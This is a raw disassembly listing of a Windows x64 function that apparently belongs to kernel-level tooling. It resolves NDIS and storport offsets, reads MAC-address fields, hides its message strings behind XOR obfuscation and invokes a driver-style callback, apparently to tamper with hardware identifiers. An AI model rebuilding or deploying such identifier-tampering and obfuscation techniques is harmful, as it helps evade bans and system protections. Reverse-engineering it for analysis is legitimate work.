lea rdx, str._NDIS_NSI_INTERFACE_ENUM_ROD
lea rcx, [rbp + 0x5d0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_IF_BLOCK
lea rcx, [rbp + 0x7b0]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
mov rdi, rax
lea rax, [rbp + 0x5f0]
mov qword [rbp + 0x1370], rax
lea rdx, str.ifPhysAddress
lea rcx, [rbp + 0x5f0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_NSI_INTERFACE_ENUM_ROD
lea rcx, [rbp + 0x610]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
lea r14, [rdi + rax]
lea rax, [rbp + 0x13d0]
mov qword [rbp + 0x1370], rax
lea rdx, str.PermanentPhysAddress
lea rcx, [rbp + 0x13d0]
call fcn.1408f52f0
mov rbx, rax
lea rdx, str._NDIS_NSI_INTERFACE_ENUM_ROD
lea rcx, [rbp + 0x70]
call fcn.1408f52f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.140906730
add rax, rdi
mov rdi, qword [rbp]
cmp rdi, 0xffffffffffffffff
je 0x1408f3e92
cmp r13, 0xffffffffffffffff
je 0x1408f3e92
mov rcx, qword [rbp + 0x1350]
cmp rcx, 0xffffffffffffffff
je 0x1408f3e92
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xffffffffffffffff
je 0x1408f3e92
mov rbx, qword [rbp + 0x60]
cmp rbx, 0xffffffffffffffff
je 0x1408f3e92
cmp r14, 0xffffffffffffffff
je 0x1408f3e92
cmp rax, 0xffffffffffffffff
je 0x1408f3e92
mov r11, qword [rbp + 0x30]
cmp r11, 0xffffffffffffffff
je 0x1408f3e92
mov r9, qword [rbp + 0x50]
cmp r9, 0xffffffffffffffff
je 0x1408f3e92
mov r10, qword [rbp + 0x13b0]
cmp r10, 0xffffffffffffffff
je 0x1408f3e92
mov r8, qword [rbp + 0x13a0]
cmp r8, 0xffffffffffffffff
je 0x1408f3e92
mov qword [rbp + 0xc8c], rdi
mov qword [rbp + 0xc94], r13
mov qword [rbp + 0xc9c], rcx
mov qword [rbp + 0xca4], rdx
mov qword [rbp + 0xcac], rbx
mov rcx, qword [rbp + 0x1390]
mov qword [rbp + 0xcb4], rcx
mov qword [rbp + 0xcbc], r9
mov qword [rbp + 0xcc4], r10
mov qword [rbp + 0xccc], r14
mov qword [rbp + 0xcd4], rax
mov qword [rbp + 0xd74], r8
mov qword [rbp + 0xd4c], r11
lea rcx, [rbp + 0x1218]
call fcn.1409066e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0xc58], eax
movabs rax, 0x4a3f7d5e9c2b6f
mov qword [rbp + 0xee0], rax
call fcn.1408fab20
call fcn.1408fab80
mov qword [rbp + 0xdcc], rax
lea rcx, [rbp + 0x13b0]
call fcn.1408fab40
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1408f3928
mov rcx, qword [rax]
lea rdx, [rbp + 0xdd8]
sub rdx, rcx
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1408f3932
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 0x10
jb 0x1408f3984
inc rdx
mov rcx, qword [rbp + 0x13b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f397f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f397f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
movdqa xmm0, xmmword [0x1409583a0]
movdqu xmmword [rbp + 0x13c0], xmm0
mov byte [rbp + 0x13b0], 0
xor edi, edi
mov qword [rbp + 0x1268], rdi
lea rcx, [rbp + 0x1268]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rax, qword [rbp + 0x1268]
mov qword [rbp + 0xc64], rax
lea rax, [fcn.1408f08b0]
mov qword [rbp + 0xef8], rax
mov qword [rbp + 0xc30], rdi
lea rax, [rbp + 0xc30]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], dil
mov r9b, 1
lea r8, [rbp + 0xc40]
xor edx, edx
lea rcx, [0x140971010]
call fcn.1408fab90
test eax, eax
js 0x1408f4b9a
mov rax, qword [rbp + 0xc30]
mov qword [rbp + 0xed8], rax
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
mov eax, eax
cmp rax, qword [rbp + 0xef0]
jne 0x1408f4a34
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x1408f3a15
mov rax, qword [0x140971028]
mov rdx, qword [0x140971030]
cmp rax, rdx
jne 0x1408f3b49
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13b0], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x10], xmm0
movabs rax, 0xa74914ab7d2825bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rax, 0x4f2730803005bef2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
movdqa xmm0, xmmword [rbp + 0x1350]
xorps xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x1350], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x1350]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor al, al
jmp 0x1408f3e68
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x12a0], xmm0
movups xmmword [rbp + 0x12b0], xmm0
movups xmmword [rbp + 0x12c0], xmm0
movups xmmword [rbp + 0x12d0], xmm0
mov qword [rbp + 0x12e0], rcx
movdqu xmmword [rbp + 0x1350], xmm0
mov qword [rbp + 0x1360], rdi
sub rdx, rax
je 0x1408f3bca
lea rcx, [rbp + 0x1350]
call fcn.1408efad0
mov rsi, qword [rbp + 0x1350]
mov rbx, qword [0x140971028]
mov rdi, qword [0x140971030]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rsi, rbx
add rsi, rdi
mov qword [rbp + 0x1358], rsi
mov rsi, qword [rbp + 0x40]
xor edi, edi
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0x12a0]
call fcn.1408f7910
nop
lea rcx, [rbp + 0x12a0]
call fcn.1408f79e0
mov rcx, rax
call fcn.140900680
mov qword [rbp + 0xc38], rax
test rax, rax
je 0x1408f4c28
xor edx, edx
mov ecx, 0xdeada59
call fcn.1409081a0
mov eax, 0x5a4d
cmp word [0x140953980], ax
jne 0x1408f3c31
movsxd r12, dword [0x1409539bc]
lea rcx, [0x140953980]
add r12, 8
add r12, rcx
mov eax, dword [r12]
mov dword [rbp + 0xdd4], eax
lea rax, [rbp + 0xc38]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0xc40]
xor edx, edx
lea rcx, [0x140971028]
call fcn.1408fab90
test eax, eax
jns 0x1408f3d8e
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x10], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x18f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rcx, qword [rbp + 0x12b8]
test rcx, rcx
je 0x1408f3d47
mov rdx, qword [rbp + 0x12c8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f3d30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1408f3e5a
call fcn.140908d40
mov qword [rbp + 0x12b8], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12c0], xmm0
mov rcx, qword [rbp + 0x12a0]
test rcx, rcx
je 0x1408f3d87
mov rdx, qword [rbp + 0x12b0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f3d82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1408f3e5a
call fcn.140908d40
xor al, al
jmp 0x1408f3e68
mov rcx, qword [0x14095f6b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1408f3da4
call fcn.1408f0140
xor r9d, r9d
xor r8d, r8d
mov rdx, r15
lea ecx, [r9 + 0x10]
call fcn.140905d08
mov r8, qword [rbp + 0xc5c]
test rsi, rsi
je 0x1408f3dc5
mov qword [rsi], r8
mov rdx, r15
lea rcx, [rbp + 0x1328]
call fcn.1408efbe0
nop
mov rcx, qword [rbp + 0x12b8]
test rcx, rcx
je 0x1408f3e23
mov rdx, qword [rbp + 0x12c8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f3e0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1408f3e5a
call fcn.140908d40
mov qword [rbp + 0x12b8], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12c0], xmm0
mov rcx, qword [rbp + 0x12a0]
test rcx, rcx
je 0x1408f3e66
mov rdx, qword [rbp + 0x12b0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1408f3e61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1408f3e61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140908d40
mov al, 1
mov rcx, qword [rbp + 0x1ef0]
xor rcx, rsp
call fcn.140908d20
mov rbx, qword [rsp + 0x2080]
add rsp, 0x2030
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.____ndis_offsets_invalid__n
call fcn.1408ee4a0
nop
lea rcx, [rbp + 0x1218]
jmp 0x1408f3ed2
lea rcx, str.____storport_offsets_invalid__n
call fcn.1408ee4a0
nop
lea rcx, [rbp + 0x1270]
jmp 0x1408f3ed2
lea rcx, str.____ntoskrnl_offsets_invalid__n
call fcn.1408ee4a0
nop
lea rcx, [rbp + 0x1200]
call fcn.1409066e0
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x10], xmm0
movabs rax, 0xa74414b37d2625ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4f483081304dbef8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x7673cb3d91438095
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x62b5b93c3f00ed9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x1ef04339120a715f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x10d858d5a8dcd130
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x48a16b3c9ae3c9a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rcx, 0x129a61d9b3e7a67a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
movabs r13, 0x761dcb54916380e1
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
movabs rax, 0x62d4b9553f74edf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
movabs rax, 0x1e95434a12637133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
movabs rax, 0x10be58b3a8b3d110
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
movabs rax, 0x48d26b489a86c9d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x13e0]
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0xa0], xmm1
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor al, al
jmp 0x1408f3e68
movabs rax, 0xa74714a07d2725a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x20], xmm0
movabs rax, 0xa74014a57d2825a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x4f07308a3003bef5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x767ccb7491108088
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x62b5b9303f06ed9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x1ee3436a121a7157
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x10cb58c7a8c1d179
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x48a86b219aeac9b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x12ba61f5b383a61f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xdcd825bd0a16d905
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x3b15c1037b1a9885
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0xe8403abc7ab36bf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rcx, 0xc8525d7d05ba49de
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1490], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1498], rax
movabs r13, 0x761dcb54916380e1
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
movabs rax, 0x62d4b9553f74edf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
movabs rax, 0x1e95434a12637133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b0], rax
movabs rax, 0x10be58b3a8b3d110
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b8], rax
movabs rax, 0x48d26b489a86c9d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0x129a61d9b3e7a67a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
movabs rax, 0xdcac25ce0a73d977
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
movabs rax, 0x3b35c1777b6898e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
movabs rax, 0xe8403abc7af06ba9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
xorps xmm1, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp + 0x14c0]
movdqa xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rbp + 0x14d0]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp + 0x14e0]
movdqa xmmword [rbp + 0x1a0], xmm1
mov r9d, 0x40
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r9, r15
xor r8d, r8d
mov rbx, qword [rbp + 0x40]
mov rdx, rbx
mov ecx, 0x9898
call fcn.140905d08
mov r8, qword [rbx]
mov rdx, r15
lea rcx, [rbp + 0x1308]
call fcn.1408efbe0
xor edx, edx
mov r8d, 0x16a
lea rcx, [rbp + 0xf08]
call fcn.140909b5a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x107a], xmm0
movups xmmword [rbp + 0x108a], xmm0
movups xmmword [rbp + 0x109a], xmm0
movups xmmword [rbp + 0x10aa], xmm0
movups xmmword [rbp + 0x10ba], xmm0
movups xmmword [rbp + 0x10ca], xmm0
movups xmmword [rbp + 0x10da], xmm0
movups xmmword [rbp + 0x10ea], xmm0
mov dword [rbp + 0x10fa], eax
mov word [rbp + 0x10fe], ax
xor edx, edx
mov r8d, 0xfc
lea rcx, [rbp + 0x1104]
call fcn.140909b5a
movabs rax, 0xdeaddeadbeefbeef
mov qword [rbp + 0xf00], rax
mov dword [rbp + 0x1100], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov qword [rbp + 0x1072], rax
mov ebx, dword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8d, [rbx + rbx]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movabs r15, 0xa74714b47d3b25aa
movabs r12, 0x4f2730ef306dbeee
test eax, eax
jne 0x1408f4832
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
movabs rax, 0xa74414af7d2825a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x100], rcx
movabs rax, 0x4f5430cf3009bef9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x108], rcx
movabs rax, 0x7674cb2091178084
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x110], rcx
movabs rax, 0x62a3b9753f13ed98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x1efc43211211715c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x10cd5893a8d4d17e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x48a16b689af2c9b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x12a061bcb39da613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0xdc8925b60a43d957
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x3b35c1777b68989c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1450], rax
movabs rax, 0x62d4b9553f74edf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1458], rax
movabs rax, 0x1e95434a12637133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
movabs rax, 0x10be58b3a8b3d110
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs rax, 0x48d26b489a86c9d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs rax, 0x129a61d9b3e7a67a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
movabs rax, 0xdcac25ce0a73d977
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
movabs rax, 0x3b35c1777b6898e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x1440]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0x1450]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x1460]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x130]
xorps xmm1, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x14f0]
call fcn.1408f6270
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1378], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x1370]
movdqa xmmword [rbp + 0x60], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x14f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rdi, rax
xor r13d, r13d
mov rbx, qword [rbp + 0x48]
cmp word [rbx + 6], r13w
je 0x1408f3e66
lea rdx, [0x140953860]
cmp dword [rdi + 0x10], 0
je 0x1408f49ea
xor eax, eax
movzx ecx, byte [rdi + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1408f49ea
cmp rax, 6
jne 0x1408f4862
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1408f0820
mov ecx, dword [rdi + 0xc]
add rax, rcx
mov qword [rbp + 0xf10], rax
mov eax, dword [rdi + 0x10]
mov qword [rbp + 0xf18], rax
mov r8, qword [rbp + 0x1310]
test r8, r8
jne 0x1408f48bb
lea rcx, str.Callback_is_null__returning_n
call fcn.1408ee4a0
jmp 0x1408f4983
mov dword [rbp + 0x40], 0xffffffff
lea r9, [rbp + 0xf00]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1308]
call fcn.1408f58d0
test al, al
jne 0x1408f48ee
lea rcx, str.Failed_invoking_callback_n
call fcn.1408ee4a0
jmp 0x1408f4983
mov ebx, dword [rbp + 0x40]
mov edx, ebx
lea rcx, str.Call_status:_0x_x_n
call fcn.1408ee4a0
test ebx, ebx
jne 0x1408f497f
movabs rax, 0xa74b14a57d3c25bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x4f27309c301ebef9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x30], xmm0
lea r9d, [rbx + 0x40]
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x1af0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rbx, qword [rbp + 0x48]
jmp 0x1408f49e3
mov rbx, qword [rbp + 0x48]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x50], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x1cf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [0x140953860]
inc r13d
add rdi, 0x28
movzx eax, word [rbx + 6]
cmp r13d, eax
jne 0x1408f4856
jmp 0x1408f3e66
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
movabs rax, 0x4f7f30df304dbeee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
movabs rax, 0x762ecb62915280d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1250], rax
movabs rax, 0x62d4b9553f74edd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1258], rax
